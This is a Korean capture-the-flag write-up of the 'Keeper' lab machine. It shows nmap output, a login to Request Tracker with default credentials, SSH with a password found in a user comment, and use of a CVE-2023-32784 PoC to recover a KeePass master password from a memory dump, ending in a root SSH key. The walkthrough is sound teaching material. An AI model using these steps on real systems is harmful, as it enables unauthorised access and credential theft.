이번에 시도할 머신은 Linux 머신으로 쉬움 난이도로 나온 keeper다.
포트 스캔 결과로 22/tcp
, 80/tcp
두개가 스캔되었다. 간단한 구성이다.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-17 09:54 KST
Nmap scan report for keeper.htb (10.129.120.136)
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_ 256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.84 seconds
80/tcp 포트로 서비스 중인 웹(keeper.htb)에 접근하니 아래와 같은 http://tickets.keeper.htb
링크가 하나 보인다.
하위 도메인인 tickets에 접근하면 아래와 같은 로그인 페이지를 볼 수 있고 푸터를 통해 운영중인 서비스 정보인 RT 4.4.4+dfsg-2ubuntu1 (Debian)
를 파악할 수 있다.
RT(Request Tacker)의 경우 디폴트 계정 정보는 root:password
로 구성되어있으며, tickets에서 기본 계정을 통해 로그인이 가능하다.
Admin > Users
메뉴에 접근하면 유저정보를 파악할 수 있는데, lnorgaard@keeper.htb
계정의 Comment에서 기본 패스워드로 파악되는 메모를 확인할 수 있다.
위에서 확인한 패스워드를 통해 SSH에 접근할 수 있다.
% ssh lnorgaard@keeper.htb
lnorgaard@keeper.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ id
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)
해당 유저의 홈 디렉터리에서 RT30000.zip
파일을 확인할 수 있었고 해당 zip 파일을 풀어보니 2개의 파일이 존재했으며 각각의 파일은 다음과 같은 파일로 추정된다.
lnorgaard@keeper:~$ unzip RT30000.zip
Archive: RT30000.zip
inflating: KeePassDumpFull.dmp
extracting: passcodes.kdbx
KeePass의 CVE를 조사해보니 따끈따끈한 CVE-2023-32784가 존재했다. 해당 CVE는 PoC가 존재했으며, KeePass 메모리 덤프 파일에서 kdbx 파일에 접근 가능한 비밀번호를 찾아 낼 수 있다.
lnorgaard@keeper:~$ python3 poc.py -d KeePassDumpFull.dmp
2023-08-17 06:05:45,614 [.] [main] Opened KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de
확인된 패스워드가 특수문자(●)로 깨져 있어 정확한 확인이 불가하여, 유추하기 위해 구글 검색을 해본 결과 덴마크 언어가 깨져서 나타난 것을 알 수 있다.
구글링을 통해 덴마크어로 딸기크림 죽(rødgrød med fløde)으로 추정할 수 있었다.
획득한 패스워드를 통해 “passcodes.kdbx” 데이터베이스를 열어 볼 수 있을 것으로 보이며 열 수 있는 도구를 검색한 결과 KeePass 공식 홈페이지에 툴을 제공하고 있다.
KeePass 프로그램을 이용해서 passcodes.kdbx
파일을 로드하고 패스워드를 입력하여 인증이 가능했다.
passcode.kdbx 내 root 계정에 대한 ppk 파일 내용이 존재한다.
해당 내용을 복사해서 key.txt
파일에 저장하고 아래와 같은 명령을 통해 id_rsa
파일을 생성하고 root 계정으로 권한 상승이 가능했다.
% ssh -i id_rsa root@10.129.229.41
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Thu Aug 31 06:13:01 2023 from 10.10.14.52
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)